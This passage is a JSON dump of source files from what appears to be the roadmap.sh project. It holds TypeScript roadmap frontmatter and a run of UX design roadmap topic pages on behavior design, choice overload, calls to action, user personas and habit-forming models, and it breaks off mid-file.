\"RqZaWGxxNRItBhVwWKysc\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-RqZaWGxxNRItBhVwWKyscy2-GV_zWF6rSWg5bqgiXhOEfz2\",\n      \"selected\": false\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/typescript/typescript.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/typescript.json'\npdfUrl: '/pdfs/roadmaps/typescript.pdf'\norder: 6\nrenderer: 'editor'\nbriefTitle: 'TypeScript'\nbriefDescription: 'Everything you need to learn about TypeScript in 2025'\ntitle: 'TypeScript'\ndescription: 'Everything you need to learn about TypeScript in 2025'\nhasTopics: true\nisNew: false\ndimensions:\n  width: 968\n  height: 2050\nschema:\n  headline: 'TypeScript Roadmap'\n  description: 'Learn everything about TypeScript with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/typescript.png'\n  datePublished: '2023-01-05'\n  dateModified: '2023-01-20'\nseo:\n  title: 'TypeScript Roadmap: Learn to become a TypeScript developer'\n  description: 'Community driven, articles, resources, guides, interview questions, quizzes for typescript development. Learn to become a modern TypeScript developer by following the steps, skills, resources and guides listed in this roadmap.'\n  keywords:\n    - 'typescript roadmap 2024'\n    - 'typescript roadmap 2025'\n    - 'typescript developer roadmap 2024'\n    - 'typescript developer roadmap 2025'\n    - 'guide to becoming a typescript developer'\n    - 'guide to learning typescript'\n    - 'typescript developer roadmap'\n    - 'typescript roadmap'\n    - 'become typescript developer'\n    - 'typescript developer skills'\n    - 'typescript skills test'\n    - 'skills for typescript development'\n    - 'learn typescript development'\n    - 'what is typescript'\n    - 'typescript quiz'\n    - 'typescript interview questions'\nrelatedRoadmaps:\n  - 'frontend'\n  - 'backend'\n  - 'javascript'\n  - 'nodejs'\n  - 'react'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/adobe-xd@HI_urBhPqT0m3AeBQJIej.md",
    "content": "# Adobe XD\n\nAdobe XD (Experience Design) is a powerful design and prototyping tool that allows UX designers to create wireframes, mockups, and interactive prototypes for various digital projects. It is available for both Mac and Windows, and it focuses on providing an easy-to-use, intuitive interface for designing responsive websites, mobile apps, and more.\n\nVisit the following resources to learn more:\n\n- [@official@Adobe XD Platform](https://adobexdplatform.com/)\n- [@official@Getting Started with Adobe XD](https://helpx.adobe.com/xd/get-started.html)\n- [@official@Learn Adobe XD](https://www.adobe.com/ph_en/products/xd/learn/get-started-xd-design.html)\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/automate-the-act-of-repetition@ZufrLRNkMoJ4e2T-vWxCR.md",
    "content": "# Automate the Act of Repetition\n\nTo enhance user experience and streamline interactions, it's crucial to automate repetitive tasks that often lead to frustration and decreased efficiency. Properly implemented automation can save time, reduce errors, and improve user satisfaction by minimizing tedious actions. As a UX designer, consider strategies such as pre-filling forms with previously entered information, remembering user preferences, providing smart suggestions based on past behavior, enabling batch actions for group tasks, and offering keyboard shortcuts for common actions. By focusing on these automation techniques, you can create a seamless and enjoyable experience that meets users' needs and increases retention.\n\nVisit the following resources to learn more:\n\n- [@official@Repeating Elements](https://helpx.adobe.com/au/xd/help/create-repeating-elements.html)\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/avoid-choice-overload@8wxlu4KA2iu9CJa1UAUll.md",
    "content": "# Avoid Choice Overload\n\nChoice overload occurs when users face too many options, leading to decision paralysis, anxiety, and dissatisfaction. As a UX designer, it's important to simplify decision-making by limiting the number of options to 5-7 at a time, prioritizing the most relevant choices. Organizing options into logical categories with visual cues can help users navigate their selections more easily. Implementing smart defaults can streamline decisions by pre-selecting commonly used options, while advanced filtering and sorting features allow users to refine their choices in complex scenarios. By addressing choice overload with these strategies, you can enhance user experience and facilitate a more seamless decision-making process.\n\nVisit the following resources to learn more:\n\n- [@article@Choice of Overload](https://medium.com/@evamiller091/the-impact-of-choice-overload-in-ux-f5defb6cee5d)\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/avoid-cognitive-overhead@4AzPOKXUN32CkgchRMrRY.md",
    "content": "# Avoid Cognitive Overhead\n\nCognitive overhead refers to the mental effort needed to understand or operate a given system, tool, or interface. In UX design, it is crucial to minimize cognitive overhead to create user-friendly and efficient experiences. The less mental effort a user needs to invest, the more likely they will have a positive conscious evaluation of your design.\n\nVisit the following resources to learn more:\n\n- [@article@Cognitive Overload](https://blog.logrocket.com/ux-design/cognitive-overload/)\n- [@article@Reducing Cognitive Overload](https://uxdesign.cc/reducing-cognitive-overload-designing-for-human-cognition-350f07cff9c4)\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/avoid-direct-payments@iQNvKhwhvbis4Yn1ZxQua.md",
    "content": "# Avoid Direct Payments\n\nAvoiding direct payments is a crucial aspect of UX design that can lead to favorable conscious evaluations from users. Direct payments refer to instances where users are required to pay for your product or service upfront, which can create a negative perception and less willingness to engage. By finding alternative ways to monetize or offer premium features, you can create an enjoyable experience and encourage users to appreciate and invest in your offerings without feeling forced.\n\nVisit the following resources to learn more:\n\n- [@article@Payment UX Best Practices](https://gocardless.com/guides/posts/payment-ux-best-practices/)\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/balsamiq@fZkARg6kPXPemYW1vDMTe.md",
    "content": "# Balsamiq\n\nBalsamiq is a popular wireframing tool that helps designers, developers, and product managers to quickly create and visualize user interfaces, web pages, or app screens. It's an easy-to-use software that allows you to focus on ideas and concepts rather than getting caught up in pixel-perfect designs.\n\nVisit the following resources to learn more:\n\n- [@official@Balsamiq Website](https://balsamiq.com/)\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/be-authentic-and-personal@m30ePaw_qa36m9Rv9NSFf.md",
    "content": "# Be Authentic and Personal\n\nWhen creating a user experience (UX) design, it's essential to be authentic and personal. This means that your design should be genuine, truthful, and relatable to your users. By being authentic and personal, you can create a positive intuitive reaction in your users, as they feel connected and engaged with your website or application.\n\nVisit the following resources to learn more:\n\n- [@article@Rethinking Personas](https://uxdesign.cc/rethinking-personas-empathy-and-inclusion-in-ux-design-37145d2ee807)\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/behavior-change-games@JSBiw0C6aq1LhA33y79PM.md",
    "content": "# Behavior Change Games\n\nBehavior change games are a powerful UX design pattern that help users adopt new habits or make positive lifestyle changes. These games are typically designed to be engaging, enjoyable, and motivating, utilizing various game elements and mechanics to encourage users to take desired actions. When designing behavior change games, it's essential to keep user experience in mind, and create an enjoyable and motivating experience. Balancing fun and educational elements can result in a powerful tool for guiding users towards positive change in their lives.\n\nVisit the following resources to learn more:\n\n- [@article@Behavioral Change Games](https://medium.com/@jgruver/designing-for-behavioral-change-a-new-approach-in-ux-ui-design-59f9fb0086d1)\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/behavior-change-strategies@w_QWN80zCf1tsVROeyuvo.md",
    "content": "# Behavior Change Strategies\n\nBehavior change strategies are techniques that aim to help users adopt new behaviors or break existing ones to achieve specific goals, such as healthier lifestyles or improved productivity. In UX design, these strategies are applied to design elements and features within digital products or services to motivate and support users in making lasting changes in their actions.\n\nVisit the following resources to learn more:\n\n- [@article@Behavioral Change Strategies](https://blog.logrocket.com/ux-design/starter-guide-behavioral-design/)\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/behavior-design@zYCBEUqZVlvjlAKnh5cPQ.md",
    "content": "# Behavior Design\n\nBehavior Design is an approach that combines elements of psychology, neuroscience, and design principles to understand and influence human behaviors. The goal behind behavior design is to make it easier for users to accomplish their goals or desired actions within a product, service, or system.\n\nVisit the following resources to learn more:\n\n- [@article@Behavior Design](https://www.interaction-design.org/literature/topics/behavioral-design)\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/behavioral-economics@_lv6GJ0wlMfhJ7PHRGQ_V.md",
    "content": "# Behavioral Economics\n\nBehavioral Economics is a subfield of economics that studies the psychological, social, and emotional factors that influence decision-making and economic behavior. It seeks to understand why people make choices that deviate from the traditional economic model, which assumes that individuals behave rationally and seek to maximize their utility.\n\nVisit the following resources to learn more:\n\n- [@article@Behavioral Economics](https://www.interaction-design.org/literature/article/behavioural-economics-ideas-that-you-can-use-in-ux-design)\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/behavioral-science@D553-nVELaB5gdxtoKSVc.md",
    "content": "# Behavioral Science\n\nBehavioral science is the interdisciplinary study of human behavior, which encompasses disciplines like psychology, sociology, and anthropology. This field- primarily focuses on understanding what impacts our decisions, actions, and emotions. In the context of UX design, applying behavioral science concepts and principles can enhance user experience by improving user engagement, usability, and overall satisfaction.\n\nVisit the following resources to learn more:\n\n- [@article@Behavioral Science](https://uxplanet.org/how-to-use-behavioral-science-to-influence-user-behavior-in-design-581dc0805f7c)\n- [@article@Future of Behavioral Science](https://behavioralscientist.org/what-is-the-future-of-design-and-behavioral-science-a-conversation-with-cliff-kuang/)\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/bj-foggs-behavior-grid@lRBC8VYJPsR65LHDuuIsL.md",
    "content": "# BJ Fogg’s Behavior Grid\n\nThe BJ Fogg Behavior Grid is a framework that helps UX designers, product managers, and marketers understand and identify different types of behavior change. Created by Stanford University professor B.J. Fogg, the grid consists of 15 behavior types based on the combination of three dimensions: Duration, Frequency, and Intensity.\n\nVisit the following resources to learn more:\n\n- [@article@BJ Fogg’s Behavior Grid](https://behaviordesign.stanford.edu/resources/fogg-behavior-grid)\n- [@article@The Fogg Behavior Model](https://blog.logrocket.com/ux-design/fogg-behavior-model/)\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/bj-foggs-behavior-model@2NlgbLeLBYwZX2u2rKkIO.md",
    "content": "# BJ Fogg's Behavior Model\n\nB.J. Fogg, a renowned psychologist, and researcher at Stanford University, proposed the Fogg Behavior Model (FBM). This insightful model helps UX designers understand and influence user behavior by focusing on three core elements. These key factors are motivation, ability, and prompts.\n\nVisit the following resources to learn more:\n\n- [@official@Meaning of BJ Fogg's Behavior Model](https://behaviormodel.org/)\n- [@article@The Fogg Behavior Model](https://blog.logrocket.com/ux-design/fogg-behavior-model/)\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/business-model-canvas@SGO9hHju49_py0n0ASGBe.md",
    "content": "# Business Model Canvas\n\nThe **Business Model Canvas** is a strategic management and visual representation tool that allows you to describe, design, challenge, and pivot your existing business model. Developed by **Alexander Osterwalder** and **Yves Pigneur**, it helps organizations to understand how they create, deliver, and capture value. The canvas is divided into nine building blocks, which represent the essential elements of a business model:\n\nVisit the following resources to learn more:\n\n- [@article@Business Model Canvas](https://www.interaction-design.org/literature/topics/business-model-canvas)\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/business-model-inspirator@GI06-DbGyJlQXq5Tyi-aH.md",
    "content": "# Business Model Inspirator\n\nA Business Model Inspirator is a tool or method that helps you to generate new or creative ideas for the strategic, operational, and financial aspects of a business. It helps entrepreneurs, startups, and established companies to explore different ways of designing or improving their business models by drawing inspiration from various sources.\n\nVisit the following resources to learn more:\n\n- [@article@Business Model Inspirator](https://businessdesign.org/knowledge-base/business-model-inspirator)\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/business-process-model--notation-bpmn@jy5jtSEyNE8iJpad27rPX.md",
    "content": "# Business Process Model and Notation (BPMN)\n\nBusiness Process Model and Notation (BPMN) is a graphical representation of business processes, providing a standardized and easy-to-understand method for visualizing different aspects of a business. By using BPMN, UX designers can analyze and optimize business processes and workflows, which ultimately improves the overall user experience.\n\nVisit the following resources to learn more:\n\n- [@article@Business Process Model and Notation (BPMN)](https://aguayo.co/en/blog-aguayp-user-experience/business-process-model-notation-for-ux/)\n- [@article@How to Design BPNM](https://devlight.io/blog/how-to-design-business-process-model-and-notation-for-a-mobile-app/)\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/call-to-action@U4ZEFUcghr9XjSyf-0Np7.md",
    "content": "# Call to Action\n\nA **Call to Action (CTA)** is a UX pattern that encourages users to take a specific action on a website, app, or other digital product. It is an essential component of effective UX design, as it helps guide users through the experience and accomplish their goals. CTAs can come in various forms, including buttons, links, images, or text.\n\n## Importance of Call to Action\n\n- **Increased conversion rates**: A well-placed and well-designed CTA can significantly increase conversion rates, leading to more sign-ups, purchases, or other desired user actions.\n- **Guides user behavior**: CTAs help to guide users through the flow of your product, and can assist in providing a clear and concise user journey.\n- **Highlighting key features**: A strong CTA can bring attention to key features or important information that you want your users to notice and engage with.\n\n## Designing an Effective Call to Action\n\nTo create an effective CTA, consider the following factors:\n\n- **Placement**: The placement of a CTA is crucial to its effectiveness. It should be easily noticeable and accessible without overwhelming or distracting users. In most cases, placing CTAs above the fold (the portion of the website visible without scrolling) has proven to be effective.\n- **Size and shape**: The size and shape of a CTA should be consistent with the overall design of your product. Make sure it is large enough to be easily noticed, but not too large that it overwhelms other content.\n- **Color and contrast**: Choose a color for your CTA that stands out from the rest of your design. High contrast between the CTA button and its surrounding elements can make it more noticeable and draw attention.\n- **Clear and concise copy**: The text on your CTA should be clear, concise, and tell users exactly what to expect when they click on it. Use action-oriented language like \"Sign Up,\" \"Learn More,\" or \"Start Now\" to encourage users to take action.\n\n## CTA Best Practices\n\nHere are some best practices to follow when designing and implementing CTAs:\n\n- Limit the number of CTAs on a single page or screen to maintain focus and avoid confusion.\n- Ensure the CTA is relevant to the content and user experience.\n- Test different CTA variations, placements, and designs to determine which is most effective for your target audience.\n\nBy incorporating CTAs into your UX design, you can create a more engaging, user-friendly experience that helps guide users through your product and ultimately drives them to take the desired actions.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/cheating@zVXJPpqZvUFIxTGVrr0rN.md",
    "content": "# Cheating\n\nCheating, in the context of behavior change strategies, refers to creating shortcuts and loopholes within a designed system, in order to overcome any obstacles users may face while achieving their goals. As a UX designer, you need to understand that users often look for the easiest path to reach their objectives, even if it means bending or breaking the established rules.\n\n## When to use Cheating:\n\n- **Overcoming limitations**: Allow users to overcome constraints imposed by the system or environment when these limitations prevent them from moving forward in a meaningful way.\n- **Increasing motivation**: When users feel stuck or overwhelmed, cheating mechanisms can help them feel a sense of progress or achievement, thus motivating them to keep going.\n- **Enhancing user experience**: Sometimes, cheating can create fun and engaging experiences, turning ordinary tasks into enjoyable challenges that users might enjoy exploring and exploiting.\n\n## Designing for Cheating:\n\nWhen designing cheat mechanisms in your UX, consider the following best practices:\n\n- **Balance**: Cheating should provide an alternative solution without compromising the overall challenge or value offered by the system. Strive for a balance between making tasks easier and avoiding excessive exploitation that could lead to unearned rewards or trivializing the user's experience.\n- **Limited Access**: Cheating should not become the default behavior or the most commonly used strategy in your design. Limit access or opportunities to cheat to avoid undermining the user's sense of accomplishment or alienating non-cheating users.\n- **Documentation and communication**: If permitting cheating is an intentional design choice, communicate this to your users explicitly, so they don't feel guilty about exploiting loopholes. Making users aware of cheat options can help you foster an environment where users knowingly bend the rules, thus adding an interesting dynamic to the overall user experience.\n- **Monitoring**: Constantly monitor how users are interacting with your design and how prevalent cheating behavior is. If cheating becomes too widespread or harmful, consider tweaking the system and addressing any unintended consequences.\n\nBy carefully designing and implementing cheating strategies, you can effectively enhance the user experience, while still maintaining the integrity of your system and the motivation of your users. Remember, the goal is to make the experience enjoyable and rewarding, not to provide users with a way to cheat their way to success.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/clear-the-page-of-distractions@IjqH_Ev2fDWG0QDQ9c9eN.md",
    "content": "# Clear the Page of Distractions\n\nTo create an effective UX design, it is essential to focus on the user's attention and reduce any distractions that might be present on the webpage. This will not only improve the usability of your website, but it will also make it more visually appealing and engaging. Here are some tips for eliminating distractions from your design:\n\n## Keep it Simple\n\nIt's crucial to ensure your design is clean and straightforward. Stick to essential design elements, and avoid using excessive images, icons, or other visual elements that may distract users from the main content.\n\n## Use White Space\n\nIncorporate white space, also known as negative space, throughout your design. The appropriate use of white space provides relief for users and makes it easier to process the information on the page.\n\n## Establish a Visual Hierarchy\n\nOrganizing content according to its importance will help users focus on the most crucial information. Creating a clear visual hierarchy can be achieved by using font sizes, colors, and positioning to guide the user's attention.\n\n## Use Consistent Navigation\n\nKeep your website's navigation consistent throughout the site to reduce potential confusion. This allows users to quickly find what they are looking for without getting lost or overwhelmed.\n\n## Minimize Popups and Ads\n\nExcessive use of popups or ads can be distracting and annoying to users. Keep their usage to a minimum, and ensure they are not disruptive to the overall user experience.\n\n## Optimize Load Times\n\nEnsure that your webpage loads quickly, as slow loading times can lead to user frustration and abandonment. Optimize images and other media, and consider lazy loading techniques for a smoother experience.\n\nBy following these guidelines and effectively clearing your page of distractions, you can create a user-friendly and aesthetically pleasant design that will keep your users engaged and focused on the most important elements of your website.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/competitor-analysis@HUZ5n2MRHzQPyjwX2h6Q4.md",
    "content": "# Competitor Analysis\n\n**Competitor Analysis**\n\nCompetitor analysis is a crucial part of UX design, especially when dealing with new business models. It involves evaluating your competitors within your industry, understanding their strategies, strengths, and weaknesses, and comparing them with your own offerings.\n\nBy conducting a thorough competitor analysis, you can gain valuable insights into the market and potentially discover opportunities to differentiate yourself from the competition. Here's a brief overview of how to perform a competitor analysis:\n\n- **Identify your competitors:** Start by listing all the companies that offer a similar product or service within your target market. This may include direct competitors (who offer similar products and services) and indirect competitors (who offer alternative solutions to the same problem).\n\n- **Analyze their products and services:** Investigate your competitors' products and services by studying their features, benefits, and user experiences. Look for any gaps in their offerings or areas where you might have an advantage.\n\n- **Study their websites and apps:** Evaluate your competitors' digital platforms, such as their websites, mobile apps, or software. Assess their usability, visual design, content, and overall user experience.\n\n- **Evaluate their marketing strategies:** Analyze their communication channels and promotional activities, such as email campaigns, social media presence, and content marketing efforts. Take note of any strategies that seem particularly successful or unique.\n\n- **Examine customer reviews and feedback:** Collect and analyze customer reviews and feedback from popular review platforms, social media, and forums. This information can help you understand common pain points and areas for improvement in your competitors’ offerings.\n\n- **Identify opportunities and niches:** Based on your research, identify weaknesses in your competitors' strategies or markets, where potential opportunities exist for your business to be successful.\n\n- **Benchmark your own offerings:** Compare your products and services with those of your competitors. Identify your unique selling points and assess if your offerings cater to the needs of your target audience in a way that sets you apart from the competition.\n\nRemember that competitor analysis is not a one-time task. Instead, it should be an ongoing process that helps you stay up-to-date with the trends and changes within your industry, allowing you to make informed decisions about your UX design and overall business strategy.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/conceptual-design@r6D07cN0Mg4YXsiRSrl1_.md",
    "content": "# Conceptual Design\n\nConceptual design, often referred to as the \"big idea\" phase, is a fundamental step in the UX design process. It entails creating and defining an overarching concept, vision, or framework for a product or service.\n\nIn this stage, designers focus on gathering information, understanding the problem, and generating ideas that will guide the overall user experience. This includes defining goals, needs, and target users, as well as considering the broader context in which the solution will exist. The output should be a clear and concise direction for future design work and development.\n\nKey components of conceptual design include:\n\n- **Problem Definition**: Identify and describe the core problem or challenge that your design aims to address. This should include insights from user research, business objectives, and a clear design goal.\n\n- **User Personas and Scenarios**: Develop representative user personas, providing demographic and behavioral information to help understand target user needs, motivations, and goals. Scenarios can then be created to illustrate how users might interact with the proposed solution in various contexts.\n- **Information Architecture**: Define the high-level structure of the product or service, organizing content and features in a way that is easy for users to understand and navigate. This helps ensure that information is presented clearly and consistently throughout the experience.\n\n- **Sketches and Wireframes**: Create rough sketches or wireframes to visualize key aspects of the user interface and explore various design alternatives. These early prototypes can help identify potential issues and guide future design decisions.\n\n- **Design Principles and Guidelines**: Establish a set of high-level principles and guidelines that will shape the design and serve as a foundation for further development. This may include aesthetic and functional criteria, as well as ensuring accessibility and usability.\n\n- **Iteration**: Continually refine and iterate on the initial concept, using feedback from user testing and stakeholder input to make informed design adjustments. This iterative approach allows for flexibility and adaptability as the project progresses.\n\nUltimately, the goal of conceptual design is to create a coherent and engaging vision that meets user needs and aligns with business objectives. By investing time and effort into this foundational stage, designers can lay the groundwork for a successful and enjoyable user experience.\n\nVisit the following resources to learn more:\n\n- [@article@How to apply design thinking in UX](https://medium.com/digital-experience-design/how-to-apply-a-design-thinking-hcd-ux-or-any-creative-process-from-scratch-b8786efbf812)\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/create-action-funnel@kcG4IpneJzA6di0uqTiwb.md",
    "content": "# Stephen Wendel's CREATE Action Funnel\n\nStephen Wendel's CREATE Action Funnel is a behavioral design framework aimed at helping individuals or organizations encourage specific behaviors in others, especially in the context of product design. It breaks down the process of motivating action into six key stages. Each stage helps identify where users might drop off or face barriers, allowing designers or strategists to address these pain points effectively. These stages are:\n\n- **CUE:** The user must notice a cue or prompt that tells them to act. This could be a notification, a visual element, or any kind of reminder.\n\n- **REACTION:** The user must react positively to the cue. This stage involves emotional and cognitive processing, where the individual decides if the action is relevant or attractive.\n\n- **EVALUATION:** The user evaluates whether the action is worth their time, energy, or resources. They assess the benefits versus the effort required.\n\n- **ABILITY:** The user must feel capable of taking the action. This involves ensuring that the action is easy enough to do and aligns with their skills and resources.\n\n- **TIMING:** The action needs to happen at the right time. Users need to have the opportunity and be in the right context to act.\n\n- **EXECUTION:** Finally, the action must be carried out successfully. This is the stage where the behavior is completed.\n\nThe CREATE Action Funnel is helpful for product designers, marketers, or behavior change professionals, as it provides a structured way to understand user actions and design interventions to improve completion rates. It identifies and solves the gaps that occur between intention and action.\n\n- [@article@Behavioral Science Crash Course: Steve Wendel's CREATE Action Funnel](https://www.prodify.group/blog/behavioral-science-crash-course-steve-wendels-create-action-funnel)\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/create-user-personas@s2KJ5kNv9UcnsP0QKIKQ7.md",
    "content": "# Create User Personas\n\nUser personas are fictional representations of your target users, created to help you understand their needs, behaviors, and goals. They are essential in UX design as they help your team stay focused on user needs and maintain empathy for the user throughout the design process. Here's a brief overview of how to create user personas:\n\n- **Gather User Data**: Conduct user research through methods such as interviews, surveys, and observations to collect data about your target users. This will provide you with valuable insights and help you identify patterns in user behavior.\n\n- **Identify Key Characteristics**: Analyze the collected data to identify common characteristics, such as demographics, goals, motivations, and pain points. These characteristics will form the foundation of your personas.\n\n- **Create Persona Profiles**: Based on the identified characteristics, create 3-5 distinct user personas. Each persona should have a name, a picture (to help humanize them), and details such as age, occupation, background, and a brief description of their typical day.\n\n- **Define User Goals and Scenarios**: List the primary, secondary, and tertiary goals of each persona, along with realistic scenarios in which they interact with your product or service. This will help you understand how different users approach your product and what they expect from it.\n\n- **Share and Refine**: Share your personas with your team and gather feedback. Make any necessary changes to ensure that the personas accurately represent your target users.\n\nRemember, user personas are not static, and should be updated as you gather more user data and insights. Keep them in mind throughout the design process, and always consider their needs and goals when making design decisions.\n\nVisit the following resources to learn more:\n\n- [@article@Personas – A Simple Introduction](https://www.interaction-design.org/literature/article/personas-why-and-how-you-should-use-them)\n- [@article@Personas Make Users Memorable for Product Team Members](https://www.nngroup.com/articles/persona/)\n- [@video@Personas in UX](https://youtube.com/playlist?list=PLJOFJ3Ok_ids-oEPCltCVtmdDOXiyttpq&si=v7ZaI65bQNTfXKHJ)\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/crowd-out-old-habit-with-new-behavior@B0gg7Z5JL9m9Srb89KcN5.md",
    "content": "# Crowd Out Old Habit with New Behavior\n\nOne of the most effective ways to change users' existing behavior and improve their experience with your product is by replacing old habits with new ones. This method involves identifying the actions and habits that users currently perform and finding ways to replace them with more efficient, healthy, or enjoyable behaviors.\n\n## Identifying Old Habits\n\nFirst, start by observing and researching how users interact with your product or a similar product to understand their current behavior. This can be done through user interviews, surveys, or by analyzing collected usage data. Try to identify the habits that are no longer useful, might be frustrating or time-consuming, or can be significantly improved.\n\n## Designing New Behaviors\n\nAfter identifying the habits that need to be replaced, focus on designing new behaviors that are more efficient, enjoyable or beneficial to users. To do this, consider employing the following strategies:\n\n- Make the new behavior simple: Ensure the new behavior is easy to understand and perform so that users can naturally adopt it.\n- Use visual cues: Incorporate visual cues in your design to subtly remind users of the new behavior they should perform.\n- Positive reinforcement: Encourage users to adopt the new behavior by providing feedback, rewards or incentives.\n- Progressive onboarding: Gradually introduce users to the new behavior, giving them sufficient time to adjust and understand its benefits.\n\n## Implementation and Testing\n\nOnce you have designed the new behavior, it's time to implement it in your product and test its effectiveness. This testing can be done through A/B testing, focus groups, or beta users who can provide valuable feedback.\n\nMonitor user behavior and analyze data to determine if the new behavior is successfully replacing the old habit. If needed, iterate on your design to make necessary improvements, and continue tracking user behavior until the new habit is well-established.\n\nIn summary, crowding out old habits with new behaviors is an effective method of improving user experience in your product. By identifying existing behaviors that need change, designing new habits that are beneficial to users, and constantly testing and iterating, you can ensure a successful transition for your users and an overall improved UX.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/cue-routine-reward-model@X1AroUI8Fge_lRpKab4A9.md",
    "content": "# Cue Routine Reward Model\n\nThe Cue-Routine-Reward Model, also known as the Habit Loop, is a neurological framework that describes how habits are formed and maintained in our brains. By understanding this model, UX designers can create more engaging and addictive user experiences, encouraging users to come back to the product repeatedly. The model consists of three key components:\n\n- **Cue**: A stimulus, or trigger, that prompts your brain to start a habit. This can be anything from a notification on your phone to a daily routine or a specific location.\n\n```\nExample: Receiving an email notification (Cue) prompts you to check your inbox.\n```\n\n- **Routine**: The actual habit or default action you take in response to the cue. This is typically an automated behavior that occurs without much conscious thought.\n\n```\nExample: After receiving the email notification (Cue), you open your email app and read the message (Routine).\n```\n\n- **Reward**: The satisfaction or positive reinforcement your brain gets from completing the routine. This release of dopamine in the brain helps to strengthen and reinforce the habit over time.\n\n```\nExample: Reading the email (Routine) gives you a sense of accomplishment or connection with the sender, resulting in a positive emotion (Reward).\n```\n\nTo apply the Cue-Routine-Reward model in UX design:\n\n- Identify potential **cues** that can act as triggers for users to engage with your product. This can include push notifications, visual prompts, or personalized messages.\n\n- Design seamless **routines** that are intuitive, user-friendly, and make it easy for users to complete tasks within the product. This can involve anything from clear calls-to-action, minimalist design, or familiar design patterns.\n\n- Ensure a meaningful **reward** is provided to users so they feel a sense of accomplishment or receive some form of positive feedback. This can include personalized content, social validation, or progress tracking.\n\nBy incorporating the Cue-Routine-Reward model into your UX design, you can tap into users' natural habit-forming tendencies and ultimately create more addictive, engaging experiences.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/customer-experience-map-by-mel-edwards@0KEqAjHFBjfmGA1bKzXuD.md",
    "content": "# Customer Experience Map by Mel Edwards\n\nA **Custom Experience Map** is a powerful visual representation that helps designers and stakeholders understand the entire user journey. It captures the various touchpoints, interactions, and experiences a user goes through while using a product or service. This map can be created to suit the specific needs of your project or organization, giving you a comprehensive view of the user experience.\n\n## Key Components of a Custom Experience Map\n\nBelow are some crucial components of an effective custom experience map:\n\n- **User Persona**: This includes the demographics, goals, and pain-points of the target user, which helps in understanding the user's perspective throughout the journey.\n\n- **Stages**: The different logical steps or phases the user goes through during their interaction with the product or service.\n\n- **Touchpoints**: These are the specific interactions the user has with the product or service, such as clicking a button, opening an app, or talking to a customer representative.\n\n- **Channels**: These refer to the mediums or platforms through which the interactions take place, such as website, mobile app, email, or in-person.\n\n- **Emotions**: The emotional state of the user during each touchpoint, which can highlight areas of frustration or delight.\n\n- **Opportunities**: Areas where improvements can be made, new features can be introduced, or further research can be conducted to enhance the overall user experience.\n\n## Benefits of a Custom Experience Map\n\nCreating a custom experience map offers several advantages for both designers and stakeholders:\n\n- It helps identify the pain-points, gaps, or opportunities to improve user experience.\n- It enables a better understanding of how users navigate and interact with the product or service.\n- It facilitates the prioritization of UX design tasks and helps focus on high-impact areas.\n- It promotes collaboration and communication across different team members within the organization.\n\n## Tips for Effective Experience Mapping\n\nTo make the most of a custom experience map, consider the following tips:\n\n- Involve different stakeholders and team members in the process to ensure diverse perspectives are taken into account.\n- Use the map as a communication tool for sharing insights and findings with the team.\n- Update the map as the product evolves or new data becomes available to keep it relevant and useful.\n- Regularly review the map during design iterations to ensure user goals and pain-points are consistently addressed.\n\nBy leveraging the power of a custom experience map, UX designers can visualize and uncover valuable insights, which lead to more informed decisions and ultimately a better user experience.\n"
  },
  {
    "path": "src/data/roadmaps/ux-design/content/decision-making-support@9vA3ZWMiKG6NiEqGDvcFR.md",
    "content": "# Decision-Making Support\n\nDecision making support plays a crucial role in UX design by providing users with the necessary information, options, and feedback to make informed choices when interacting with a product or interface. This UX pattern focuses on helping users make decisions through clear presentation of information, minimizing cognitive load, and offering guidance throughout the various interactions.\n\n## Key Elements of Decision Making Support\n\n- **Clear presentation of information**: Present complex information in a simple, easily digestible format. Break down large amounts of data into smaller chunks, use visuals (e.g., icons, images, graphs) to convey information, and provide clear labeling and headings.\n\n- **Minimize cognitive load**: Reducing the mental effort required by users when making decisions can lead to better decision-making and higher satisfaction. Limit the number of options presented, group similar items together, and use progressive disclosure to provide additional details when necessary.\n\n- **Feedback and guidance**: Providing feedback and guidance can help users understand the implications of their decisions and options. Use micro-interactions (e.g., hover effects, tooltips) to clarify the meaning of interactive elements and provide suggestions or recommendations.\n\n- **Defaults and pre-selected options**: Set sensible defaults and pre-selected options to help users make decisions quickly, while also allowing flexibility for customization. This can prevent decision paralysis and reduce frustration for users with limited knowledge or expertise.\n\n- **Comparison tools**: Offer easy-to-use comparison tools for users to weigh different options, especially in cases where the decision involves multiple factors. This can be provided through side-by-side comparison tables, or visual aids that highlight differences between options.\n\n## Tips for Implementing Decision Making Support\n\n- 